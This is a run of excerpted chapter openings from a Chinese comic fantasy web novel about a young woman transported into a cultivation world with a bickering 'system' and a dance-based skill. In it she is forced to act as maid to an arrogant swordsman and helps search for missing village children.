《舞修的我是真的能拯救世界!》 1. 乍到 《舞修的我是真的能拯救世界!》全本免费阅读 施燃单知道海水是咸的,但她不知道海水有那么咸。 浪花将她拍打到海滩,在毒辣阳光的曝晒下,她悠悠转醒。将腹中堆积的海水呕出后,施燃单手放在额头上,以期望这手能挡住太阳带来的目眩神晕buff。 她朝四周望了望,身后是一望无际的大海,身前全是沙子,不远处有几个小孩在嘻嘻哈哈,你追我赶的玩闹。 施燃冲那几个小孩叫了两声,小孩们的注意力被叫声吸引,屁颠屁颠往施燃的方向跑过来。 小孩们围拢在施燃身边,低着他们黝黑的小脸,闪着好奇的大眼睛问道: “你是谁?你趴在沙子上做什么?这样好玩吗?” 施燃没有满足这些小孩的好奇心,她现在都快饿死了,四肢完全使不上力。 她张着起壳的唇说着:“能给我点吃的、喝的吗?我已经好几天没有吃饭了……” 其中一女孩蹲下,小手捂上施燃的额头,惊叫一声,眼里涌上泪花: “呜呜呜……她快死了……” 施燃嘴唇翕动,想说什么却又不知道说什么好。 那小女孩继续道:“有一次我额头烫烫的躺着,我爹就说我快死了,我娘给我吃了过年才吃的咸鱼我才好的……” 周围的小孩叽叽喳喳起来。 不,额头烫只是被太阳晒太久了,施燃在心里吐槽。 小女孩站起来抹眼泪,看着施燃的脸,坚定地说:“大姐姐,我会救你的,你在这里等等我。”说完便撒丫子一溜烟跑没影了。 施燃张着嘴看着小女孩如同疾风的背影。 剩下的小孩嘬着自己手指问施燃:“你是从哪里来的啊,外面好玩吗?” 施燃用死鱼眼看着那些小孩。 心里对系统疯狂吐槽: [你为什么要把我丢海里,你为什么连招呼不打就把我带过来。我答应了连一秒钟不到,你就火急火燎地把我打包送过来。送过来不说,你好歹解决一下温饱问题吧,我现在又饿又渴,都快要死了,去拯救世界?还是先拯救我自己吧。我真的,简直对你无语了。] [还有你那个金手指,我都不想说你,求求你了,你给金手指的时候做一下调研好吗?我是出了名的四肢不协调你不知道吗?我连驾照都要考三次,手和脚考试时各干各的,根本就不听话。你让我跳舞?我只会跳大神。] [还有……] 系统烦不胜烦,在施燃脑海里大叫: [闭嘴!] 施燃被吓了一跳,随即而来的就是愤怒: [你还对我大小声,你还有理了,你这么不细心,说你你又不认错、不悔改的系统,你还怎么协助我拯救世界!你看看小说里的系统,就不像你这样!] 系统反嚷回去: [我就是这样的系统,怎么了,你有意见吗?] [你就继续闹吧,就算我死不认错不悔改,你也不能换系统!] [只要你还在这个世界上,那么你这辈子都跟我绑定了!] 施燃在心里大骂三声可恶,气得牙痒痒,终究还是拿系统没办法。最后只得没好气道: [把金手指给我看看。] 系统哼了一声,但心里明白自己刚才说错话了,不想跟施燃闹得太僵,即刻将金手指摆在施燃脑海里,然后假装用不情不愿的语气做起了讲解。 [这里是坤泽大陆,你知道吧。] 施燃也哼了一声。 [这里的人修炼都要吸收爻气,爻气是一切修炼的根本,管它什么武修、器修,杂七杂八的修,没有吸收爻气,根本不能算入道。] [你要想真正开启舞修的修炼,还得先吸收爻气。] [怎么吸收?]施燃好奇心起。 [你得先有一个良好的身体素质。不然吸收的爻气会把你的身体撑爆。] 施燃开始琢磨提高身体素质的方法。 此时系统用激光对施燃的身体扫描了一次,然后开启了施燃的数据面板: 姓名:施燃 力:0.3 速:0.4 耐:0.8 (力、速、耐三项均为1便是一个强壮健康的成年人应有的身体素质,且三项满值均为100。) 施燃发出疑问: [那我力速耐多少便可以吸收爻气了?] [至少是3。]系统答道。 施燃若有所思。 此时离开的小女孩提着一条咸鱼、端着一碗水急急忙忙地跑过来了。她将咸鱼和碗放在施燃身边,眼中闪着泪花说着: “快吃吧,姐姐,吃了你就不会死了。” 施燃饿极了,顾不得道谢,狼吞虎咽吃了起来。惹得旁边几个小孩流哈喇子。 吃完后,施燃有了些许力气,起身坐在了沙滩上。她有意从这些小孩口中打听消息,便对这些小孩讲起了故事。 小孩们哪里听过这般新奇的故事,便团团围坐在施燃身边,连玩也顾不上了。 最后施燃自然得到了她想要的消息。 这里不远处有个村子,叫岩石村,这些小孩都是村民的孩子,每日都会到海边玩,他们从小到大都生活在这里,从未见过外人,所以才对施燃充满好奇心。 再多的,施燃也从这些小孩嘴里问不出来了。 太阳渐渐从海平面落下,天色暗了下来。 这些小孩虽然留恋施燃口中的故事,但还是记得爹娘的叮嘱,依依不舍回家了。 施燃叫住落在尾巴处的小女孩。 “你叫什么名字?” 施燃笑着问,咸湿的海风在微暗的暮色吹动着施燃两颊的耳发,施燃撩了撩,眼带笑意看着那个小女孩。 小女孩脸瞬间红了。捏住衣角忸怩说着: “娘叫我大妞。” 施燃从袖子里抖出一个大贝壳,这是她掉海里时顺手拿的。 她将贝壳敲开,取出里面的珍珠,递给大妞。 “谢谢大妞的咸鱼。如果不是大妞,姐姐就快被饿死了,这是姐姐送给你的小礼物。”说着摸向大妞的脑袋。 大妞咬着唇问:“姐姐明天还会在这里吗?” 施燃:“当然会在这里。不过姐姐得先找一个能遮风挡雨,能过夜的地方。” 大妞眼睛一亮:“姐姐,你跟我来,我知道有一个地方。” 施燃被大妞带到海边一座山林中。 如果不是大妞带路,施燃根本不会想到杂草枯树掩映下还有一 2. 技能卡 《舞修的我是真的能拯救世界!》全本免费阅读 来人戴了一顶破旧的草帽,身材高大,皮肤黝黑,眼睛泛着精光。 周娘子一见来人,起身疑惑问着: “今天怎么这么早就回来了。” 来人将草帽拿下,挂在门后。 “我瞧着外面云厚了,会下暴雨,不宜出海捕鱼,所以提前回来了。” 大妞怯生生地叫了来人一声爹爹,那些小孩也怯生生叫了吴叔叔。 来人并不理会这些小孩,看了一眼大妞,又抬眼望着施燃,目带警觉。周娘子看了两人一眼,见两人气氛有些奇怪,主动向来人介绍了施燃。 施燃笑着冲来人点头。 来人落了坐,道:“我姓吴,叫吴隆,姑娘叫我老吴就行……” 他顿了顿,接着道:“我瞧着姑娘不像本地人啊。”一旁的周娘子立即替施燃作了回答。 吴隆听后,沉默了一会儿:“那姑娘准备什么时候走?” 啊?施燃心里惊奇,这么快就要赶她走吗?人家周娘子好歹还问自己的打算呢。 此时骤然下起了暴雨,接着狂风大作,将屋内的破旧的家具吹得咯吱作响。 吴隆起身关窗,抬头看看着黑压压的天色。忧虑叹道: “海上又要起风浪了。” 被这暴风雨一打岔,所有人都没了说话的心思,只静静地听着外面鬼哭狼嚎般的风声。 大妞爬进周娘子怀里,周娘子替大妞捂住了耳朵。 而那些小孩被风声吓得面色惊惶,要哭不哭。施燃将这些小孩揽过,摸了摸他们的头。 这场暴风雨持续了一个时辰。 暴风雨将歇,太阳便立即露了头,明晃晃热辣辣的,跟刚才的天气是两个极端。 周娘子叹道:“最近几年这种天气越来越多了。” 紧接着不远处传来了杂乱的脚步声和声嘶力竭的哭喊声,还有男人与女人撕扯对骂声。 施燃推开门,看着一妇人跪在地上哭,旁边还有一个弓着腰,神色焦虑,长相木讷的男人。 小孩们跟着施燃过来了,其中一小孩见了那两人,脆生生喊着爹娘。 妇人抬眼望过来,连滚带爬到了小孩身边,带着哭腔将小孩全身摸了个遍,确定小孩没事后,一巴掌扇到小孩脸上,旋即又哭了出来: “虎子……娘还以为你被海浪卷走了,吓死娘了,你个死孩子,叫你不要去沙滩玩你要去,回去娘要好好收拾你。”又大哭了几声。 这一通发泄后,妇人才将心绪定了下来,又抬眼看向施燃身后,立即推搡着刚走到她身边的丈夫。 “快……老陈……将老李、二婶子、狗蛋娘全部喊过来,孩子们都活着,都没被海浪卷走。”说着,她高兴地拍了拍自己的大腿。 随后一阵兵荒马乱。 小孩们的爹娘都找了过来,每个小孩都吃了各自爹娘的大嘴巴子,然后相拥而泣,好不热闹。 施燃看着那些小孩高高肿起黝黑的脸,不由得缩了缩脖子。 事后问起怎么回事,小孩们齐齐望向施燃。 施燃僵笑着冲众人摆了摆手,“嗨~” 然后讲了事情的来龙去脉。 “……事情就是这样。” 话音刚落,系统的声音便在施燃脑海中响起: [检测到宿主有效避免八个人归西,现发放好人好事大礼包,礼包内物品随机,请注意查收。] 施燃脑海里立即出现一金光闪闪的囊袋,上面还绣着大大的奖字。 [怎么打开。]施燃问着。 系统教施燃将精神力分化成手掌的形状打开了囊袋。 囊袋一开,内里立即飞出了数十张卡片。 双倍经验卡×50、技能卡×1。 施燃眼睛一眯,[怎么用?] [想用的时候具现化到手中便会立即生效,用完后自会消失。] 施燃双手环胸,问道: [系统,你给我开的是舞修系统,怎么做好事还会发礼包呢?] 系统声音略高扬: [舞修系统只是我的子系统,你忘了我们的使命是拯救世界吗?我的真身是拯救世界系统,只要你做了有益于这个世界的事,便会触发奖励。] 这样啊……施燃还想说与系统说些什么,忽得听见有一妇人问: “那么姑娘现在何处落脚。” 施燃回神答道:“随便找个山洞住了。” 众村民纷纷邀请施燃去他们家小住。 施燃想着今天回去还要研究系统给的奖励包,在别人家有被发现的风险,也不方便,好言好语拒绝了。 众村民又邀请施燃去他们家吃饭,这是施燃拒绝不了的。 饭后,施燃道了谢便回了山洞。 一回山洞,施燃就在脑海中细细观摩那张技能卡。 技能卡整体呈灰色,中间有一个无面人屁股微撅,前半身往下压。无面人左边写了三个大字:小猪舞。下面写了技能效果:嘲。右边写着熟练度:0。 施燃问系统: [我该怎么使用这张技能卡。] [还有,你不是说我想要真正开启舞修系统要先吸收爻气吗?这张小猪舞的技能卡又是怎么回事。] 系统答道: [看见右边的熟练度了没,就算你可以吸收爻气了,熟练度至少要60才能触发技能,你可以先练熟练度,届时爻气一入体,你便可以立即点亮技能卡,无需等待。] 施燃听此,在脑海中试着具现化技能卡。 技能卡凭空出现在施燃手中。 [滴,小猪舞技能卡已实装,宿主可开始练习。] 技能卡又凭空消失了。 [是否练习?] 施燃: [是。] 紧接着,施燃的身体开始不受控制的扭动,手指向前指,臂膀甩动,屁股扭动,微撅,双手交叠,往下压,双脚闭拢小碎步齐跳,又开始重复。 一舞结束后,施燃得到自己身体的控制权。 [用了技能卡,系统便会控制你的身体,教你跳完美的技能卡舞蹈,可无限次使用。] 施燃一看技能卡界面,熟练度依然为0。 她疑惑问道: [怎么回事,我不是跳了一次,怎么熟练度还是0?] 系统发出奇怪的笑声,然后道: [你要当着人的面跳熟练度才会上升。] 施燃沉默了一会儿。 正当系统以为她这是不好意思的时候,施燃口中发出爆笑。 “哈哈哈……”她眼睛中闪射出激动的光,“你知道吗?我从小到大最喜欢就是表演节目,但周围所有人都不让,唱歌不让,跳舞不让,乐器不让,难道没 3. 不速之客 《舞修的我是真的能拯救世界!》全本免费阅读 施燃走进了后屋。 后屋里的人齐齐转头看向施燃。 吴隆在拔鸡毛,鸡头还滴着血,周娘子在去鱼鳞,大妞在烧火。 见施燃手里提着鱼,周娘子摩挲着手走近她,“哎呀,来都来了,怎么还带东西呢?”说着将她手里的鱼拿下。 施燃愣住了。 心里那团火一丁点都不剩了。 她问道:“你们今天怎么又杀鸡又杀鱼的。” 周娘子嘴角的笑意缓了缓,向角落投去一瞥。 施燃循着周娘子的视线看去。 屋角有一男子,他披散着头发,耳边有几绺小辫,耳朵上戴着几个金圈耳环,在低头扭着自己的手腕。 察觉到人的目光,他微微抬头,露出俊秀且意气风发的脸,上下打量施燃,手臂一挥,朝施燃扔了一块东西。 施燃接住,定睛一看,是块金子。 角落里响起的声音微沉: “从今天开始,你就是我的丫鬟了。” 施燃心中怒火“腾”得升起,扔回金子。 “鬼才想当丫鬟。” 那人深深看了施燃一眼,施燃突得感到背后发凉,一阵风闪过,银光闪闪的剑刃已经在施燃脖子上了。 那人将金子放在地上。 “金子拿好,过几天就跟我走。” 施燃缩着脖子,吞了吞口水,不情不愿答道: “好。” 那人将剑放下,又窝回角落了。 施燃抬脚准备离开。 “你金子还没拿。还有,不要出这个门,别想跑。” 施燃牙都快咬碎了,恨不得将这人揉成皮球再一脚踢开。 可能是施燃脸上的愤慨太过明显,周娘子扯了扯施燃的衣袖,眼神示意她收着些。 施燃压了压心中的怒火,将头埋得低些。 很快就日上竿头。 大妞一家将鸡鱼做好了端上桌。 那人坐下,似乎在等待着什么。 施燃和大妞一家站在一旁看着。 那人抬眼看了施燃:“布菜。” 布你个头啊布,施燃心里骂着,手上却不敢不动,拈了一块鱼肉到那人碗里。 他自己挑出鱼刺吃了,嚼了两口,又对施燃说: “没味道。” 施燃抿唇,假模假样笑着:“我去后屋给你加点盐。” 到了后屋,施燃不仅往鱼里加了盐,也刮了一层锅灰撒进去。 端回去时又拈了一块鱼到那人碗里。 他吃了一口,施燃问着味道如何。 “不错。”然后将一桌子菜吃得一干二净。 晚间,囿于不能走出大妞家门,施燃与大妞一家住在了偏房。 施燃向大妞一家问起这人的来历。 吴隆答道:“我一到家便被这人用剑劫持了,好在他没伤我性命,只是要求我跟娘子给他做好饭菜、烧好洗澡水。还给了一锭银子给我们。” “他来时穿着皮衣,衣服上全是灰跟刮痕,破破旧旧的,他让我挑了一件最好的衣服给他。”吴隆顿了一下,沉思着,“我瞧着他不像是这里的人……倒像是从原漠那边过来的。” 施燃虽然不知道原漠在何处,但还是装作恍然大悟的样子,轻轻点了点头。 心里想着吴隆这人不简单,不像是个渔夫。 她继续问道: “他为何非要让我当丫鬟。” 周娘子拉紧自己丈夫的袖子,对着施燃道: “我觉得……他应该是想找个人照顾他的生活起居,他看起来不像是会打理自己的样子。还可能是因为……”周娘子想到那少年上下打量施燃的情景,又看着施燃的脸,有些担忧。 还有可能是施姑娘长得过于好看了些,太招人注意了,唉,也不知道是福是祸。 此时门外一阵急促的脚步声,白日里的批发少年“哐当”推门而入,他看着众人,冷脸问道: “茅房在哪里?” 施燃指了指左边。 大妞疑惑看着施燃:“茅房是在右边啊?” 一刻钟后,又一阵急促的脚步声传来,还是那少年,他额头冒着细汗,躬身捂着肚子,问: “茅房到底在哪里?” 施燃指了指右边。 那少年慌慌张张地跑了。 周娘子忍不住道: “这人好像不是什么坏人。” 吴隆看着那少年的背影,点了点头。 …… 在走之前,施燃为了刷经验值,将村民们聚在一起举行了晚会。 是夜,灯火阑珊。 施燃在自建的台上表演起了小猪舞。 扭一扭,跳一跳,再转一转。 底下的村民一脸无奈看着施燃的节目。 “唉,施妹子怎么老是这样。”一村民叹道。 另一村民接着道:“施妹子这样也怪可怜的,也不知道是不是家里出了变故,伤到脑子了。但既然施妹子愿意做这些怪动作就做吧……我瞧着她这样也挺开心的。”说完,正是施燃一舞完毕的间隙,这村民带头鼓起掌来,大声叫好。 不远处,披发少年透过辉煌火光好奇地看着这一切。 第二日,天还麻麻亮的时候,施燃与那披发少年一起上路。 岩石村在海边,被山林包围着,村民们靠海吃海,鲜少出去,唯一有外出经验的便是吴隆了。 吴隆在前面带路,路曲曲折折,甚是难行,途中猛兽毒蛇横行,都被这少年一剑劈成了两半,待到见到出口,已然是两日过去。 吴隆向施燃抱拳:“经此一别,山高水长,施姑娘还请保重。” 施燃忙将包袱拉至肩膀处,学着吴隆抱拳:“你也保重。” 披发少年扔了一锭银子给吴隆。 “这是你带路的报酬。” 吴隆收了银子。 披发少年又道:“拿了银子就走吧。” 吴隆瞧了施燃一眼,不敢磨蹭,转身离开。 施燃看着吴隆的背影,内心有些茫然,岩石村的日子就这样离她而去了吗?她还什么都没有准备好。 她轻叹一声,侧身转头,看着路口处橘黄色的晚霞,这个世界会是怎么样的呢?与她原来的时间又有什么不同呢? 这怅惘的情绪没持续多久,就被披发少年的命令打断。 “喂——”他下颌微抬,“去给我准备晚饭。” 施燃木着脸看向他,语气平静。 “我不叫喂,我叫楚——施燃。” “楚施燃?”少年皱眉,“那楚施燃,你去给我准备晚饭。” 施燃默了默,“你还是叫我施燃就好。”转身去一旁的河里抓鱼,然后拔鳞、剖腹、掏内脏、生火烤鱼, 4. 事端 《舞修的我是真的能拯救世界!》全本免费阅读 刚到集镇,那少年便扔给施燃一锭银子,他抬了抬下巴: “去给我找一个住的地方。” 施燃接好银子。 住的地方……古代住的地方应该是客栈喽。她低头看着手中的银子,住客栈应该要不了多少钱,那剩下的银子,她岂不是可以收入囊中。 打着这样的主意,施燃乐呵呵叮嘱那少年不要乱跑,自己跑到大街上溜达。 街道人来人往,街边全是小贩,有卖面具、簪花之类的杂物,也有卖糖葫芦、青梅酒之类的吃食。 施燃吃了一碗青梅酒,向那卖酒的老头子打听客栈在何处。 老头子疑惑看了施燃一眼,停下擦桌子的手,指了指他的身后。 只见一面绣着“栈”字的彩幡在二楼招摇。 施燃一拍手,走进客栈,包了两间厢房。 处理好客栈的事情后,施燃回原处找那少年。那少年却不见踪影,施燃有些生气,怒冲冲找了一会儿,突然反应过来,既然他不见了,自己岂不是可以逃跑。 她转怒为喜,立即掉头准备离开集镇,把少年扔在那儿。 刚迈了几步,熟悉的声音从施燃身后传来。 “喂,我在这儿。” 施燃顿住了脚步,轻轻叹气,转过头去,就在转头的那一瞬间,脸色以迅雷不及掩耳之速从欢喜转变为担忧和愤怒。 “你去哪儿了?”她双手叉腰,“叫我好找,不是让你呆在原地不要动吗?” 少年垂眸看着手中的糖葫芦。 “我去买东西了。” 手中的糖葫芦被咬了一块,露出了山楂籽。 “真难吃。”说着,那少年将糖葫芦扔掉。 施燃眼睛瞪大,嚷着: “你不要乱扔垃圾啊!捡起来扔到该扔的地方!”见这少年不动,施燃便拉扯这人的袖子,这人躲开,将剑横在施燃的脖子上,“你是丫鬟,丫鬟不这样的。” 施燃瞥着那锋利的剑刃,心中一凉,脸上勉强扯出一个笑容。 “少爷,剑很利的,我的脖子不是铁......”那少年不为所动。 施燃想了片刻,又道:“少爷,我以后不那样了。” 少年这才把剑从施燃脖子上拿下,收回剑鞘。 “住的地方找的怎么样了?” 施燃拍着胸脯,往前大步一迈,“你跟我来。” 一入客栈,那少年便对施燃道: “你去给我弄点吃的。”说完坐在了大堂的凳子上。 施燃喊住店小二,点了一壶茶、酱牛肉、酒蒸鸡和黄豆糕。 那少年先吃了一口酒蒸鸡,说了句难吃。 施燃没管他,吃得可香了。 少年敲桌子:“我说难吃,你没听到吗?” 施燃依旧没管他,吃得心满意足后回道:“我听到了,现在我就去加点东西好吗?”说着将酱牛肉和酒蒸鸡端着,争取老板的同意后进入厨房,疯狂加了盐,又刮了一层锅灰洒到上面,用筷子搅了搅。 做好这一切,施燃端回去。 那少年刚吃两口,旁桌就有人拍桌子大叫: “老板,你东西有问题。” 施燃侧脸看过去,三个男人,一个肥头大耳、一个形容猥琐、一个牛高马大,皆垮着一把剑。 老板忙跑来,满面堆笑: “客官,这东西有问题换了就是,消消气,不值得为这点事动火。” “什么换了就是!”肥头大耳的男人嘴皮翻滚,“你瞧瞧,菜里全是苍蝇,我们兄弟三个吃出问题了怎么办,你赔得起吗?” 老板心知这几人就是来闹事的,看着他们的配剑,料定他们不好惹,并不想多解释什么,只想赶紧把这几尊大神给送走,别搅和了他的生意。 他双手揉搓,满面虚笑。 “这样吧,几位大侠的今日吃喝小店全免如何?” 那几人横眉竖眼,鼻子嘴巴全在出气,显然是不满意。 老板又加道:“那几位大侠这几天的酒钱我请了。”他从袖子里掏出一粒碎银子出来。 那几人见这银子的份量,立即翻脸道:“就这点东西,打发叫花子吗?”说完一把掀翻桌子,菜和汤滚得满地都是,盘子嚯啷摔成碎片,朝施燃脸上溅起,施燃一个扭头躲过,却引起了那几人的注意。 那几人瞥了一眼施燃的脸,随即相互对视,脸上皆是不怀好意的笑。 但他们眼下还有更要紧的事情要做。 牛高马大的男人抽出剑,用衣袖擦拭。 形容猥琐的男人出言:“老板,你可要想清楚,不是我们不想放过你,实在是你不够诚意啊。” 又道:“忘了告诉你,我们可是轩辕武馆的人啊。” 听到此处,老板脸上的笑容定了,从怀中拿出一个钱袋慌张递给那牛高马大的男人。男人接过钱袋,掂量重量,又拉开钱袋,满意笑了。 几人眼珠子骨碌碌朝施燃的方向转,迈步走了过去。 牛高马大的男人一屁股坐在施燃对面,将剑往桌上重重一拍,对呷茶的施燃道: “姑娘,看你这一桌子清汤寡水的,要不要我们哥儿几个请你吃饭啊。”他眉毛向上扬,摸向施燃的手,身体前倾,“跟哥哥过去,吃完饭,哥哥们再请你吃酒……吃完酒……就该是你好好回报哥哥们的时候了……” 施燃手一扬,迅速将滚烫的茶泼到那张靠近她的脸上。 那男人痛地跳起来,捂住脸,发出了杀猪般的嚎叫。 另外两个男人绕到施燃身后,拔剑怒骂: “小表子,不要敬酒不吃吃罚酒!” 随即对着吃饭的少年下巴一扬,“滚,这里没有你的事。” 少年停下筷子,平静道: “我还没吃饱。” 被烫伤的男人拿起手中的剑,剑鞘一抽,“敬酒不吃吃罚酒!那你就去阎王爷那里吃个饱饭。” 少年盯着泛着银光的剑刃:“你是要与我决斗吗?” “什么决斗不决斗?”被烫伤的男人觉得眼前的少年镇定到诡异,“决斗个屁,我们是要群殴你啊!”说完,一剑刺向少年的脖子。 少年微微偏头,轻巧躲了那一剑。 另两个男人刺向少年的后背,少年整个身子一晃,也躲了过去。 施燃目不转睛地看着眼前的场景。 只见少年抽出剑…… 就在这时,施燃鬼使神差看了桌上的饭菜,觉得有些可惜,一把将饭菜揽到怀中,藏到桌子下。 就在施燃将怀里的饭菜摆 6. 积刺山历险记(上) 《舞修的我是真的能拯救世界!》全本免费阅读 施燃二人到了积刺山脚下。 这积刺山不愧为积刺山,山脚下布满了荆棘,让人难以下脚。 施燃捡了一枝手腕粗细的木棍拨弄荆棘丛,企图找出一条上山的道。第五律二话没说,拿起剑来劈砍,比施燃有效率多了。 二人一起上了山。 还未走几步,忽听得一声虎啸,两人定住了脚,第五律手扶剑把,施燃缓缓躲到第五律身后。 紧接着是此起彼伏的虎啸声。 第五律拔出剑来,面色凝重。 施燃心里却松了一口气,这不是虎啸。她曾经去动物园里见过老虎,老虎的啸声撕裂长空,让人恍惚觉得空气都在震动,这些虎啸程度还不够格。况且四面八方都是虎啸。怎么可能会有那么多老虎聚在一起? 若先时她只是怀疑,那么她现在确定这虎啸声是有人在搞鬼。 她凑到第五律颈后,想同他说些什么。第五律却突然回过头,面色不善盯着施燃,施燃只好作罢。 第五律一剑劈向手侧的酸枣树,树“咚哝”蹾倒在地。 “你做什么?”施燃被响声惊到。 第五律脖子从左到右缓缓扭动,观察片刻后才回道: “恐吓。” 他语调上扬,“你看,现在那些老虎就不叫了。” 山上果然寂静得吓人,连微小的虫鸣声都能被人捕捉到。 施燃嘴唇微翕。 畜牲怎么会知道这是恐吓,只有人才知道并且会做出反应啊…… 第五律又迈开步子,施燃紧跟了上去。 这山并不高,不到一个时辰,两人就到了山顶,这期间再没听到过一声虎啸。 第五律立于峰顶,低头遥望着山脚。 “没人。”后转头看着施燃,“我们可以走了。” 施燃扶额。 拜托,你要找一下好吧,谁家好人站在那儿亮堂堂的让你找啊,你是来旅游的吗? 她刚想指挥第五律往旮旯找人,兀得想到这里并不安全,便好说歹说鼓动第五律跟她一起遍寻山野。 太阳逐渐游移到头顶,他们还是一无所获。 第五律饿了,靠在树上不动如山。用下颌示意施燃给他找吃的。 施燃摩挲着挎在肩上包袱,犹豫着,猛得想起山腰上有一片酸枣树,便折返回去,捡掉落到荆棘丛的果实。 捡着捡着,她发现不对劲,这荆棘丛下面是空的,撩开一看,里面有个冬瓜大小的洞,施燃趴下一瞧,这洞口虽然小,里面空间却非常大,一眼望不见底。 施燃包起零星的酸枣回去,将酸枣一股脑丢给第五律。 第五律咬了一口,眉头一皱。 “我发现有个洞,我们一起过去瞧瞧。说不定我们遍寻不获的东西都在里面。” 第五律将口中的酸枣肉吐出来,“难吃。”将剩下的酸枣一股脑丢在地上。 施燃气得要死。 吃吃吃,现在是吃东西的时候吗?一点上进心都没有。 她这样想着,打开手中的包袱,拿出给自己准备的酱饼咬了一口。 第五律冷脸瞧着施燃。 施燃扔了一张酱饼给他,他眉头松了下来,狼吞虎咽将酱饼吃完了,还盯着施燃手中剩下一半多的酱饼。 施燃无奈且愤怒的撕下一半酱饼给他。 第五律一脸冷漠将酱饼吃完了,不知从哪儿拿出一张丝绸帕子,擦了擦嘴,将帕子扔在地上。 施燃实在忍不了了。 她按住自己额头上快要突出来的青筋,语调平静: “将帕子捡起来,好吗?!尊贵的第五少爷。” 第五律:“你不是说有个洞吗?带我去吧。” 施燃想到还是找人重要,关上了欲碎碎念的嘴,转身带着第五律去洞旁。 第五律趴在洞口边,脑袋一探,看了好半天,欲抽头,却被卡住了,施燃费了老大劲才把他拔出来。 施燃扒拉腰间的火折子,点燃,扔进去洞中,火折子渐渐熄灭。 这种地洞,一般底部全部都是二氧化碳,没了助燃物,火折子一进去就会熄灭。这火折子是正常熄灭的,说明这洞里通风,有另外的出口。 施燃转头看着一旁的第五律。 “你能将这洞弄大些吗?” 第五律头发上全是刚才带出来的泥,他刨了刨头发,一言不发拔出剑,朝洞砍下去。 施燃只觉得眼睛一阵乱七八糟的银光闪过,再去瞧洞口,洞口没有一丝变化。 她无语看着第五律。 第五律又一阵乱砍,转头对施燃道: “不行。” 施燃双手合十,“你想想办法,尊贵的第五少爷。今天要是找不到那个叫樊岳的,你无上光明的武道生涯将会留下一朵挥之不去的乌云。” 第五律静默半晌,将剑递给施燃。 “拿好剑,你让开。” 施燃立即躲了十来米远。 第五律提起拳头,手上青筋暴起,指关节处有白色流光闪过,一拳砸向洞口边缘。 “哐当”一声,洞口裂开,冰裂的泥土碎石四处飞溅。 施燃连忙捡了几根树枝攒到一起,走向洞口,将剑递给第五律。 又用火折子点燃树枝,催着第五律进去。 两人一前一后下了地洞。 地洞里黑漆漆的,静得吓人,只能听到水滴声。 两人在一点火光的照耀下摸索前进,施燃隐约闻到一股臭味儿,那味道是发酵的粪臭味和尿骚儿。 施燃捂住口鼻,更加 7. 积刺山历险记(中) 《舞修的我是真的能拯救世界!》全本免费阅读 又是几点银光闪过。 第五律在这些银钩上吃了大亏,提剑一转,形成一道屏障,就将银光弹了回去。而就在这片刻之间,那男人就已经欺身上前,手执一把锈迹斑斑的匕首,刺向第五律的颈脖。 第五律迅速弯腰,转身背对那男人,捏住那男人的手腕,手肘对着男人的心脏就是狠狠一击。男人吃痛,手上一松,匕首就掉了下来。 第五律捏碎男人手腕,与他拉开距离,抬起长脚,裙角蹁跹,一脚就蹬上男人的心脏,将他踹到洞壁上嵌着。 那男人一口血喷了三米远,斑斑点点,溅得这洞府到处都是。 施燃举起火把的手不由得抖了抖。 她凑到第五律跟前拍马屁,伸手大拇指,“第五少爷,真是好功夫啊。” 第五律低头看着施燃,“这就是你说的可堪一战的对手吗?” “是我大意了。”施燃皱眉,表情严肃,似是为接下要说的话增加可信度,“我单知道第五少爷武功高强,但我不知道第五少爷武功那么高强,你潇洒的身姿,冷酷的神情,遒劲的大长腿,都在我脑海中留下了深深的、难以忘怀的印象,原谅我的浅薄无知吧,原谅我是个小地方出来的吧……”施燃欻得转头看向洞壁上的男人。 “原谅我听信客栈老板的一面之词,就以为这凡夫俗子当得起您——能脚踹八家武馆,武道无双的高贵的第五少爷的对手。苍天啊!大地啊!啊~啊~啊——”施燃正念小作文念得起劲、表演得兴奋、还想来几句咏叹调时,被第五律皱眉打断。 “我们该走了。” 施燃来此目的可不是真为了给第五律找对手。 “等一等。”一面回着第五律的话,一面走近那男人,看着他要死不活的脸,眼睛一眯,“你是樊岳?” “你……你既然知道我的名字,到底有什么目的。”樊岳嘴中呕出血来。 “我们有什么目的?我还要问你有什么目的?”施燃举起火把,细细观察樊岳的神情,“你不是来救小孩的吗?小孩在哪里?如果找不到小孩,你又为什么不回集镇?” 樊岳紧绷的面容松了下来。 不是无定城那边过来的人吗? 他心思活泛起来,“你们是清泉镇的人请过来找孩子的?” 施燃不做回答。第五律不知何时站到了施燃的身后。 樊岳深陷在眼窝里的眼睛折射出精光,“清泉镇的人无论给了你们什么好处,我都可以给你们十倍。两位,你们又何必给那些穷鬼们做活呢?” 施燃在脑中捋了捋樊岳说话的逻辑,眉毛一挑,“你知道孩子们在哪里。” 而且孩子们的失踪一定同他有关,施燃琢磨着,他认定她是清泉镇人雇来找孩子的人后,二话没说就以利诱之,把她跟第五律从镇民的立场拉到他的立场去,说明他跟镇民是对立的,他对孩子们不怀好意。那么……那些孩子有可能危险了。 “当然知道。”樊岳没有咬死不认,“你们放了我,我可以将我所有的金银珠宝给你们。” 他从不担心面前两人不贪财。 若是不贪财,哪会为了钱冒着被虎吞吃的风险,上山来干找孩子这种苦活计。 施燃嗤笑,“我们当然可以放了你,但你得把孩子们交给我。” “那些孩子你要了有什么用!”樊岳面容扭曲,“我给你们钱啊!钱!金银!你们要不要啊!” “我要那些有什么用。”第五律微微抬头。 施燃无语看着第五律。 而樊岳气得一口血喷出来。施燃眼疾手快躲了。只剩第五律被喷得满身红斑点点。 施燃也不想跟樊岳废话,“带我去找那些孩子,找不到我就让我旁边高贵的少爷杀了你。”她眼睛微眯,“你可要想清楚,命重要还是留着那些孩子重要!” 施燃将樊岳从洞壁上抠扯下来,反剪他的双手,从包袱里拿出粗绳,紧紧捆住手腕,拉着绳头,将他拖往地洞深处。 她刚才闻到了地洞深处传来的屎尿味儿,那么说明有人在这里生活,极有可能是那些孩子们。 只是这地洞分叉多 8. 积刺山历险记(下) 《舞修的我是真的能拯救世界!》全本免费阅读 坏了!第五律还在那里。 施燃带着小孩紧赶慢赶回刚才的地方,人都不见了,原地只有零碎的衣物。 她连忙与小孩一排列着,忙慌慌走出这狭窄湿滑的路,一路都有血痕,惹得她心神慌乱。 不会真出什么事吧! 第五律武功高强,樊岳不是他的对手,不可能有事的! 施燃不停揉搓着手。 终于,她看到了刚才第五律与樊岳打斗的地方。 施燃停住了脚步,转头手指放在唇边,示意小孩们噤声。 这次倒在地上的是第五律。 他嘴唇发紫,俊秀的五官扭成一团,额头上冒着豆大的汗珠,手捂住腹部。 樊岳点燃藏在洞壁凹陷处的豆油灯,阴毒的笑着。 